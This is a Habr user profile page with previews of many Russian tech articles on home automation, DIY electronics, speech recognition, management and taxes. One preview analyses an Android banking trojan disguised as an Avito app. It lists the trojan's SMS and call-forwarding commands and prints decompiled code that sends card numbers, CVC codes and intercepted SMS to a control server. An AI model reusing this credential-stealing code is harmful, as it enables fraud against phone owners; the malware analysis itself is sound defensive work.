Search
Write a publication
Pull to refresh
0
Набиуллин Рафис @RF5read⁠-⁠only

User

Send message

Управляем сервоприводами из OpenWRT без Arduino

Reading time7 min
Views40K

Краткий пост о том как можно избежать лишних элементов в системе с сервоприводами и использовать железо по максимуму


Предыстория


Я весьма давно и плотно болен Linux, OpenWRT, сетевыми и беспроводными технологиями, безопасностью, а теперь еще и стал потихоньку заражаться роботостроением и умными домами. Все это очень круто, особенно когда есть столько готовых шаблонов, свободного и открытого исходного кода, а временами можно совсем перейти на сторону зла и быстренько накидать логику в Scratch.
Но потом просыпается интерес уже не просто поморгать светодиодами, вау-эффект проходит и необходимо решать прикладные задачи. Вроде и тут следовало бы восхититься обилием готового, но дьявол как всегда в деталях. Одно дело — управлять логикой ЕСТЬ/НЕТ, это позволяет легко включать или отключать свет, можно даже датчик качества воздуха (MQ-135) подцепить и включать вытяжку при необходимости. Все это круто, но на дворе 21 век, космические корабли бороздят большой театр и душа просит чего-то по-круче. Взор мой пал на управление сервоприводами. Почему бы и нет? Тема весьма широкая, ведь они присутствуют во многих механизмах, от роботов до простых открывалок-закрывалок. Плюсом так же является и то что в летательных аппаратах двигатели управляются аналогично и это расширяет диапазон использования просто в разы.

Заинтересовавшихся приглашаю под кат

Те кто уже давно знаком с темой и хочет перейти сразу к сути — смело проматывайте до раздела "Пошаговая инструкция".
Читать дальше →

OpenHAB — стань программистом собственного жилища

Reading time9 min
Views202K
image
Дом — это машина для жилья
Ле Корбюзье

В этом посте я расскажу об opensource проекте домашней автоматизации openHAB.
openHAB переводится как "Open Home Automation Bus". Это значит, что он нацелен на создание универсальной платформы для объединения всей домашней «умной» техники в единую систему управления.

Что же это дает на практике? Под катом я расскажу о том, как с помощью этого решения можно создать настоящий интернет вещей в своем доме.

Читать дальше →

Очередная «умная» розетка своими руками. Часть 1

Reading time3 min
Views186K
Да, да, да. Еще одна. Понимаю, всем надоело. Но очень уж хотелось сделать самому, свою собственную «умную» розетку, с лото и курсистками. Встраиваемую (в доме — скрытая проводка). С управлением через WiFi (локально) и Интернет (глобально). С получением текущего статуса (в перспективе — с информацией о потреблении). С подключением нескольких розеток в одном блоке (до четырех). С датчиками температуры, освещенности и присутствия. С видеокамерой, в конце концов!

Первая часть — просто проверяем общую работоспособность схемы. По сути — некий аналог WeMo Switch, только встраиваемый в стандартный подрозетник и потому не привязанный к какому-то определенному дизайну (чтобы вписаться в любой уже существующий интерьер).

Итак, чего хочется? Хочется управлять независимо каждой из четырех розеток (у меня дома в одной из комнат розетки объединены в блоки по два двухрозеточных модуля вплотную друг к другу, в двух стандартных пластиковых подрозетниках соответственно). К одному из таких блоков подключены все агрегаты (освещение, насос фильтра, нагреватель, компрессор) аквариума с красивым парчовым сомиком, вот ими и будем управлять. Сомик вот такой, если что (картинка для привлечения внимания):

image
Читать дальше →

Как пережить налоговую проверку?

Reading time8 min
Views13K
Наши постоянные партнеры, юридическая фирма «Ветров и партнеры», продолжает знакомить вас с наиболее актуальными вопросами юридического аспекта iT-предпринимательства и оформления прав на интеллектуальную собственность. Новая статья от юристов из «Ветров и партнеры» посвящена налогам и налоговым проверкам.

По официальной информации Федеральной налоговой службы, с 2010 года показатель выигрыша в налоговых спорах в пользу бюджета по оспариваемым налогоплательщиками суммам вырос на 30%. За последний год этот показатель составил 74% по всем делам с участием налоговых органов, что на 6% больше, чем в предыдущем году. Кроме того, в 2013 году в пользу бюджета рассмотрено на 40 млрд рублей больше, чем в прошлом году.



Только вдумайтесь, 74% (!!!) налоговых споров заканчивается в пользу налоговых органов. Чем это обусловлено? Прежде всего следует признать, что администрирование налогов со стороны налоговых органов стало объективно лучше, чем было несколько лет назад. Даже большая текучка кадров в инспекциях не сказывается на статистике отрицательным образом. Это также подтверждает то, что у налоговых органов выработан четкий и понятный механизм выявления налоговой недоимки, доказывания соответствующих фактов в суде.
Читать дальше →

Распознавание русской речи для колл-центров и параноиков

Reading time11 min
Views74K
Когда вы звоните в колл-центр, вас внимательно слушает, а иногда и отвечает, не только оператор и товарищ майор, но и робот-аналитик. Этот хитрый робот умеет распознавать нужные ключевые слова в вашей речи, но и производить полнотекстовое распознавание речи, и на основании этого всего, делать далеко идущие выводы.



Анализировать записи можно как «на лету» (что делается редко), так и постфактум, например, разыскивая конкретные звонки для анализа живым человеком. Я работал с несколькими программно-аппаратными решениями для этого, и сейчас поделюсь опытом.


Автоматическое распознавание уже начинает справляться с русским языком, за исключением некоторых особо сложных случаев

Сразу отмечу — да, эти решения могут сочетаться с определением конкретного человека по «голосовому отпечатку пальца», но это немного другая история и подробно останавливаться на этом здесь я не буду.
Читать дальше →

Как я позорно деактивировал ботнет

Reading time10 min
Views191K
image

Разместил я, ничего не подозревая, объявление на avito.ru. Сколько раз туда ходил! Но на этот раз как-то не удалось…
Я давно был уверен, что многие нехорошие люди парсят телефонные номера с этого сайта, так что такси, строительные материалы, скорая компьютерная помощь, «8-800-555-3-555 — проще позвонить, чем у кого-то занимать» и приглашения на битву экстрасенсов для меня уже привычное дело, но на этот раз было нечто новое.

Приходит мне СМС-сообщение с текстом: «Зaинтерсoвaлo вaше oбьявление кaк нaсчет oбменa нa http://…». Прямо вот так, с пропущенным знаком препинания и ошибками. А по ссылке качается avito.apk. Интересно.

Исследование APK


Ну, подумал я, надо бы глянуть, что этот APK делает. Результат привычной для меня связки из apktool + dex2jar + jd-gui меня не удовлетворил, т.к. не было видно часть классов деревом, хотя доступ по ссылкам к ним получить было можно. Решил я воспользоваться новомодными онлайн-sandbox'ами — и декомпилированный код получил, и информацию, и pcap-файл со сдампленным трафиком. Как оказалось, этот файл загружали до меня, поэтому в мои руки попал более ранний анализ, что было достаточно полезно.

Итак, что умеет этот троян:
  • delivery&&& — рассылка СМС-сообщений на номера из телефонной книги с заданным текстом
  • sent&&& — отправка заданных СМС-сообщений с сервера
  • rent&&& — перехват всех СМС-сообщений и отправка их на сервер
  • sms_stop&&& — отмена перехвата СМС-сообщений
  • ussd&&& — USSD-запрос
  • call_1&&& — установка и отмена безусловной переадресации

Немного кода из моих заметок
protected HttpRequestBase a()
    {
        try
        {
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(c())));
            arraylist.add(new BasicNameValuePair("number", b));
            arraylist.add(new BasicNameValuePair("month", Integer.toString(c.intValue())));
            arraylist.add(new BasicNameValuePair("year", Integer.toString(d.intValue())));
            arraylist.add(new BasicNameValuePair("cvc", Integer.toString(e.intValue())));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("set_card.php").toString());
    }






    protected HttpRequestBase a()
    {
        try
        {
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("id", com.avito.a.c.a(b)));
            arraylist.add(new BasicNameValuePair("info", com.avito.a.c.b(b)));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("get.php").toString());
    }




    protected HttpRequestBase a()
    {
        try
        {
            JSONObject jsonobject = new JSONObject();
            jsonobject.put("text", c);
            jsonobject.put("number", d);
            jsonobject.put("date", e);
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(b)));
            arraylist.add(new BasicNameValuePair("sms", jsonobject.toString()));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        catch(JSONException jsonexception)
        {
            jsonexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("load_sms.php").toString());


Помимо этих команд, троян отключает Wifi Sleep, пытается получить доступ к зашифрованному хранилищу и установить себя в качестве Android-администратора (естественно, при этом используются стандартные диалоги ОС, где можно отменить данное действие). Код трояна не обфусцирован, некоторые строки закодированы base64. Вообще непонятно, что это за троян такой. То ли его собирали копипастой, то ли он основан на каком-то другом трояне, то ли еще что, но в нем имеются строки на португальском, немецком, английском, Ubuntu-шрифты, форма для перехвата данных из приложения немецкого банка Commerzbank, значок какой-то игры и флеш-плеера.
Читать дальше →

Инженерная культура, которую мы потеряли?

Reading time5 min
Views243K

Этот пост, наверно, правильно воспринимать как крик души, как попытку найти поддежку в профильном сообществе и окончательно не потерять веру в текущий уровень высшего инженерно-технического образования. То, что сейчас все крайне непросто в этой сфере, не говорит только ленивый, но я хочу постараться дать вам некую объективную информацию, а выводы… Выводы, думаю, все сделают сами. Кому интересно, прошу под кат.
Читать дальше →

Клуб $40,000 и бизнес, построенный на продаже open-source железа

Reading time5 min
Views102K
Это не перевод, это топик по материалам новости.

Я уже писал пост про этих ребят из Колорадо. Сегодня они опубликовали новость. Новость, скорее, нерадостную, но, я думаю, когда по осени посчитают цыплят, окажется, что она все-таки позитивная. Дело в том, что они достаточно крупно облажались…
Читать дальше →

Led Romb

Reading time5 min
Views105K
Дело было вечером, делать было нечего. (с)



Дело было года 3 назад. Случайно наткнулся на одно видео LED cube 8x8x8 demo и скажу честно, оно меня впечатлило. У меня на тот момент уже давно чесались руки что-нибудь сотворить «этакое». Тогда я ещё не знал что такое Arduino, да и вообще имел смутные понятия даже как правильно подключить светодиод. Набравшись храбрости, я отправился на просторы Интернета, где достаточно быстро нашёл идеи и схемы как собирают подобные кубики, и магазин, где можно купить компоненты. Выбрал кубик 4х4х4 как оптимальный вариант для первого опыта.

Читать дальше →

Визитки 2.0: Добавим немного NFC-магии

Reading time8 min
Views86K
Визитные карточки – такая же привычная часть бизнеса, как и электронная почта или телефон. Многие уже давно предрекают им смерть в связи с «прогрессом» QR-кодов, соцсетей и передачи файлов, но они до сих пор живее всех живых. Мы пока не можем обойтись без бумажных карточек для передачи контактных данных нашим клиентам и партнёрам. QR-коды не стали популярными, так как требовали установки дополнительных приложений, хорошего освещения и были слишком громоздкими для хранения всех нужных данных. В соцсетях зарегистрированы не все и хранить там персональные данные порой непозволительная роскошь. А передача файлов с помощью различных технологий типа AirDrop, Alljoyn или Beam, будем честны, пока недостаточно удобна и широко распространена.

И всё-таки есть способ добавить немного магии в ваши бумажные визитки и быстро передать ваши контактные данные прямо в записную книжку телефона партнёра. Я говорю об NFC.

Собственно, с бумажными визитками понятно, что делать: сканируем и распознаем с помощью ABBYY Business Card Reader и сохраняем в контакты. Но вот для того, чтобы добавить визиткам «айтишность» и некоторый шарм, нужно что-нибудь дополнительное. В этой роли отлично сыграет NFC-метка.

Узнать больше

Pebble + Marlight: управляем светом жестами

Reading time10 min
Views9.6K

Привет, Хабр и хабровчане. Хочу рассказать об одном эксперименте, который провел на днях. Очень мне понравились два девайса из статей от Madrobots: лампы Marlight и часы Pebble. Причем понравились именно тем, что конфигурируемы, т.е. подвластны так сказать воле и воображению хозяина. Пока ребенок на даче, решил я устроить ему сюрприз и показать настоящую современную «техномагию», а именно: управление светом жестами.

Задача: с помощью неких движений выбирать комнату, а затем взмахом руки или включаем, или выключаем свет в выбранной комнате.

В процессе работы над поставленной задачей, было использовано несколько любопытных решений, которые могут пригодится в разнообразных проектах домашней автоматизации, кому интересно — добро пожаловать под кат.
Читать дальше →

Kepler: умный детектор утечек газа и СО

Reading time2 min
Views21K


Современная цивилизация пользуется благами, которые нашим предкам всего лет 100 назад показались бы чистой воды фантастикой. И дело даже не в технологиях, смартфонах, суперкомпьютерах, Сети, а в удобствах, доступных для каждого (ну, или почти каждого) человека.

Централизованная система газоснабжения, водоснабжения и канализации — вот они, блага современного общества. Что касается системы газоснабжения, то кроме удобства, она представляет собой еще и известную опасность: плохо пригнанные стыки труб, поврежденный гибкий трубопровод для подключения плиты, или даже выливающаяся за края кастрюли кипящая вода, вытекающая на газовую конфорку. Все это может привести к утечке газа, увеличению концентрации угарного газа (СО), что напрямую угрожает жизни и здоровью человека.

Читать дальше →

Учим детей делать игры

Reading time4 min
Views52K
Хочу рассказать о некоммерческом проекте Кодабра. Здесь мы учим детей программировать и создавать игры.



Предыстория

Как-то пришло осознание того, что максимум удовольствия в этой жизни фаундерам приносят три процесса — программирование, обучение других и общение с детьми. Мысли стали активно бурлить по поводу школы для детей, а активные действия начались с января 2014. Нас вдохновили такие проекты как codeclub.org.uk, code.org, cs-first.com. И мы решили использовать их опыт и организовывать бесплатные уроки на базе существующих школ, детских домов и иных детских учреждений.

Явный акцент сделали на мотивацию детей. Мы учим их делать мультфильмы, компьютерные игры, творить в цифровой вселенной.
Читать дальше →

Переезд электронщика в Шэньчжэнь

Reading time5 min
Views82K
Очередная история переезда на чужбину в нескольких частях.

Кратко об авторе


30 лет. Специальность — радиофизик. Специализация — Компьютерная электроника. Основное направление — разработка электроники и встраиваемого программного обеспечения. Опыт работы — 10 лет. Опыт фриланса — 4 года.


Читать дальше →

Коммунальный рай без забот и хлопот

Reading time7 min
Views45K
Конечно, до коммунального рая нам пока далеко, но позитивные сдвиги все-же намечаются. Сегодня я расскажу о том, как электронными системами управления отоплением в моем многоквартирном доме было сэкономлено 124 тысячи рублей кровных денег жильцов в отопительном сезоне 2013-2014 года. Как только это случилось — все стали довольны, но по началу эта история была практически детективной.
Как это было?

Контроль через вину

Reading time4 min
Views90K


Много лет назад я был назначен ответственным за пожарную безопасность в одном офисе IT-компании. Выглядело это так: «Распишись здесь и здесь, всё, твою фамилию на щитке повесим, больше ничего не надо». Проблема была в том, что я нашёл, что же действительно означает такая роспись. И начал «строить» всех в офисе по соблюдению правил безопасности. Если вы не пробовали, сообщаю — зачастую очень сложно делать в обычных условиях. В чём проблема? В том, что большая часть людей считает эту норму условностью. Все нарушают, и мы будем.

Теперь представьте, что вы вводите правило, которому невозможно следовать. Или которому не будут следовать, потому что привыкли делать иначе. И не обеспечиваете жёсткий контроль за каждым случаем. Ну, вроде как форума, где материться по правилам нельзя, но модератору плевать. За примерами чуть покрупнее далеко ходить не надо, но не будем сегодня об этом. Представили?

Знаете, что мы в результате только что сделали внутри компании или отдела? Мы создали ситуацию, в которой виноват каждый человек отдельно, но никто в целом. И это очень важный и жестокий инструмент контроля.
Читать дальше →

Blink: беспроводная система наблюдения для дома и офиса

Reading time2 min
Views30K


Различные компании создавали и создают системы наблюдения для дома/офиса, причем такие системы могут быть очень разными. Недорогие и очень дорогие, профессиональные и любительские, если так можно выразиться.

Не так давно анонсирована еще одна система наблюдения, разработчики которой решили сделать упор на простоте установки/настройки системы, а также на небольшом размере самих камер/датчиков. Эта система получила название Blink.
Читать дальше →

Scrum — как эффективно работать без project-менеджера

Reading time22 min
Views94K

Вместо введения


За последние 3 года работы мне довелось работать в самых различных ипостасях: исследователем, разработчиком и руководителем проектов. Есть различные стили управления: западный (когда предоставляется большая свобода в коллективе и многое построено на доверии, уважении, личной организованности отдельного индивидуума) и восточный (когда штрафуется каждое опоздание, жестко фиксируются сроки, во главе угла стоит железная дисциплина коллектива и если человек не справился с поставленными целями — наступает расставание). Руководитель проекта должен сочетать в себе два этих элемента: яблоко и кнут, подпускать людей к себе, чтобы разработчики вам доверяли, но и соблюдать субординацию, так как отношение-отношениями, а нацеленность на результат должна быть всегда.

Но куда важнее: как вы двигаетесь к поставленной цели, как организуете свой рабочий процесс… В этой статье хотелось бы поделиться с достопочтенной публикой одной из наших непрофессиональных видео-лекцией, которую мы снимали для себя. Думаю, в каждом коллективе наступает такой момент, когда что-то может идет не совсем так, как хотелось бы. Хочется каких-то изменений и лучше прежде всего начинать их с себя. Как говорится — если хотите изменить мир, то стоит это начать прежде всего с вас самих же и вашего ближайшего окружения.

Для удобства сделал субтитры к видео, чтобы смотреть было проще. Замечу лишь, что это не профессиональная видео-лекция и лектор нигде эту методологию не читает специально. Дина Насырова (Тим Лидер из Fujitsu) пришла к нам в знак уважения, чтобы помочь наладить процесс работы коллектива и заодно поделилась своим собственным богатым опытом. Встреча прошла год назад — с тех пор много воды утекло. Но спустя время до сих пор вспоминаю ее, так как информация представленная в ней мне очень сильно пригодилась.

image
Читать дальше →

Троллинг. Как это работает

Reading time5 min
Views19K
Троллями пугают смм-менеджеров и нервных владельцев бизнеса. Эти злобные мифические существа ходят по интернету и жаждут поживиться негативными эмоциями своих жертв. А на эмоции интернет щедр, и мы радостно вываливаем на провокатора тонну «еды», добавляя этим больше поводов для продолжения троллинга. Разберемся же, кто такие тролли, как не стать их жертвой и что делать с корпоративными соц. аккаунтами, когда до них доберется провокатор.

По версии Википедии, троллинг — это нагнетание участником общения («троллем») гнева, конфликта путём скрытого или явного задирания, принижения, оскорбления другого участника или участников, зачастую с нарушением правил сайта и, иногда неосознанно для самого «тролля», этики сетевого взаимодействия. На луркморе уточняют цели троллинга — вызов волны флуда, флейма, оффтопа, получения негативной реакции пользователей.

Троллинг может быть целевым и нецелевым. Целевой троллинг – это написание статей или сообщений с определенной целью, например, реклама или информационная война. Нецелевой троллинг – удел людей, которым попросту нечего делать, которым хочется реализоваться в сети за счет других, которым не с кем поговорить или попросту по глупости.
Читать дальше →

Программирование диммера на радиомодуле nrf24le1 от COOLRF

Reading time6 min
Views30K
Продолжаем тему программирования радиомодулей nrf24le1 — на этот раз мы научим диммер от COOLRF работать. После публикации мною статьи про программирование радиомодулей мне предложили поучаствовать в разработке прошивки и предоставили данный диммер для экспериментов.
В итоге получился вариант управления диммером через центральный модуль Arduino+Ethernet-nRF24L01 (W5100) или nRF24L01+USB из USBasp а так же с помощью локальной кнопки.
Читать дальше →

Information

Rating
Does not participate
Location
Казань, Татарстан, Россия
Date of birth
Registered
Activity